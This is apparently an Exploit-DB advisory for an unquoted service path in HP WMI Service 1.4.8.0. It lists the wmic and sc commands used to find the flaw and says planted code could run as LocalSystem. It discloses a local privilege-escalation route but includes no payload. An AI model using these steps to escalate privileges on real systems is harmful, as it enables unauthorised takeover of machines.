## https://sploitus.com/exploit?id=EDB-ID:49010
#Exploit Title: HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path
#Discovery by: Jocelyn Arenas
#Discovery Date: 2020-11-07
#Vendor Homepage: https://www8.hp.com/mx/es/home.html
#Tested Version: 1.4.8.0
#Vulnerability Type: Unquoted Service Path
#Tested on OS: Windows 10 Home x64 es
# Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\windows\\" | findstr /i /v """
HPWMISVC HPWMISVC c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe Auto
#Service info:
C:\>sc qc HPWMISVC
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME : HPWMISVC
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HPWMISVC
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.